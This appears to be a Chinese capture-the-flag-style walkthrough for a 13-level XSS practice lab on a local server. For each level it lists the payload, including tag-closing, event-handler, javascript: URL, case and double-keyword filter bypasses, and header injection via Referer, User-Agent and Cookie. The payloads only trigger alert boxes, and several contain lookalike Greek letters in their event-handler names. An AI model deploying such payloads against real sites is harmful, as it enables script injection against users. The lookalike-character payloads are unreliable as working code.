XSS小游戏【1-13关】
第一关
Payload：<script>alert(1)</script>
第二关
Payload：keyword=<script>alert(1)</script> 发现没有成功，F12发现需要闭合input 标签
再次输入payload：aaa"><svg οnlοad=alert(1)>
//当这个输入被插入到网页中时，浏览器会将其解析为HTML代码，并执行其中的JavaScript代码
第三关
Payload：<script>alert(1)</script>
Payload：' οnfοcus=javascript:alert('xss') ' 要点击搜索再次按下搜索框就会出现
第四关
payload：<script>alert(1)</script>
F12查看数据源码， 注入测试后，发现过滤了>和<
Payload："οnclick="alert(111)
第五关
payload："><a href='javascript:alert(1)'>aa</a>
最后点击那两个蓝色的aa，就会提示你过关
第六关
payload："><a hReF='javascript:alert(1)'>aa</a>
第7关
Payload："><a hhrefref='javascscriptript:alert(1)'>'aa'</a>
第八关
payload：javascript:alert(1) 最后点击‘友情链接’
第九关
payload：javascript:alert(1)//http://www.baidu.com
‘添加友情链接->点击友情链接’
第十关
payload：?t_sort=" type="text" οnclick="alert(1)
第十一关(referer参数注入)
payload：referer:"type="text" οnclick="alert(1)
http://127.0.0.1/ljy22601239/xss/level11.php?keyword=good%20job!
第十二关（user-agent参数注入）
payload：User-Agent: "type="text" οnclick="alert(1)
第十三关（cookie参数绕过）
payload：Cookie: user="type="text" οnclick="javascript:alert(1)
保护cookie值,用到setcookie函数
